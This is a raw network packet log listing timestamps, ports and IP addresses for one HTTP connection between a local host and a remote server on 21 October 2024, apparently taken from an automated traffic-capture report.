Oct 21, 2024 08:47:30.830140114 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.830149889 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.830161095 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.830168962 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.830187082 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.830193043 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.830199957 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.830209970 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.830220938 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.830224037 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.830235004 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.830245018 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.830249071 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.830260992 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.830272913 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.830287933 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.830287933 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.830307007 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.830319881 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.830331087 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.830355883 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.830379009 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.830419064 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.830430031 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.830449104 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.830456972 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.830461025 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.830471039 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.830472946 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.830483913 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.830485106 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.830497980 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.830501080 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.830511093 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.830521107 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.830547094 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.876108885 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.876118898 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.876127958 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.876172066 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.876200914 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.921832085 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.921843052 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.921849012 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.922013044 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.929841995 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.929868937 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.929878950 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.929904938 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.929917097 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.929927111 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.929935932 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.929936886 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.929949999 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.929963112 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.929981947 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.929986000 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.930006027 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.930006981 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.930018902 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.930027962 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.930031061 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.930039883 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.930042982 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.930053949 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.930061102 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.930073977 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.930098057 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.930102110 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.930109024 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.930119991 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.930130959 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.930140972 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.930144072 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.930170059 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.930186987 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.945614100 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.945641041 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.945651054 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.945725918 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.945774078 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.945791006 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.945801020 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.945810080 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.945820093 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.945830107 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.945838928 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.945848942 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.945858002 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.945859909 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.945873022 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.945882082 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.945890903 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.945902109 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.945911884 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.945924044 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.945934057 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.945935011 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.945946932 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.946017027 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.946038961 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.946048021 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.946053982 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.946070910 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.946080923 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.946090937 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.946099997 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.946108103 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.946111917 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.946140051 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.946177959 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.946187019 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.946232080 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.946238041 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.946244001 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.946254969 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.946286917 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.946286917 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.946300983 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.946301937 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.946310997 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.946329117 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.946347952 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.946367025 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.946377993 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.946387053 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.946415901 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.946429014 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.946557999 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.946567059 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.946577072 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.946585894 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.946605921 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.946609020 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.946628094 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.946630001 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.946640015 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.946645021 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.946669102 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.947005033 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947017908 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947029114 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947038889 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947046995 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.947052002 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947062969 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947072983 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.947098017 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.947129011 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947140932 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947153091 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947164059 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947176933 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.947195053 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.947216034 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947227001 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947236061 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947267056 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.947352886 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947364092 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947371006 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947379112 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947393894 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947405100 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947407007 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.947415113 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.947417974 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947429895 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947443962 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.947468042 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.947499990 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947509050 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947515011 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947549105 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.947570086 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947581053 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947591066 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947617054 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.947628975 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.947798014 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947808027 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947824955 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947834969 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947844028 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.947844982 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947856903 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947868109 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.947868109 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947886944 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947890997 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.947899103 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947902918 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.947910070 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947922945 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947930098 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.947932959 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947945118 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947951078 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.947956085 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947969913 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.947977066 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.947981119 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948003054 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.948014975 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948020935 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.948025942 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948045015 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948056936 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948065996 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948071957 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.948077917 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948093891 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948096037 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.948101997 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.948107004 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948116064 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948127031 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948132038 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.948137045 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948159933 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.948172092 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.948179007 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948190928 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948200941 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948211908 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948221922 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948225021 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.948232889 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948251009 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.948260069 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.948263884 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948275089 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948286057 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.948303938 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.948317051 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948328018 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948338032 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948350906 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948364019 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.948371887 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.948381901 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948393106 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948399067 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.948409081 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948421955 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948422909 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.948431969 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948436975 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.948467970 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.948683977 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948703051 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948713064 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948726892 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.948744059 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948750973 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.948755980 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948793888 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.948801041 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948818922 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948831081 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948839903 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948841095 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.948858023 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948864937 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.948870897 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948882103 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.948890924 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.948914051 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.948936939 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.949042082 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949052095 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949062109 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949085951 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.949105024 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.949134111 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949142933 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949152946 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949162960 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949174881 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.949184895 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949194908 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949201107 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.949204922 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949217081 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949225903 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949229002 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.949242115 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.949246883 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949264050 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949269056 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.949275017 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949285984 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949290037 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.949297905 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949309111 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949315071 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.949331999 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949341059 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.949414968 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949424982 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949461937 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.949464083 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949475050 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949493885 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949503899 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949511051 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.949515104 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949527025 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949538946 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949539900 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.949549913 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949552059 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.949570894 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.949592113 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.949593067 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949688911 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949698925 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949711084 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949721098 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949724913 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.949754000 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.949826002 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949836016 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949846029 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949865103 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949873924 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.949877977 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949883938 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.949889898 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949901104 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949904919 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.949912071 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949923992 CEST	80	49732	147.45.44.221	192.168.2.4
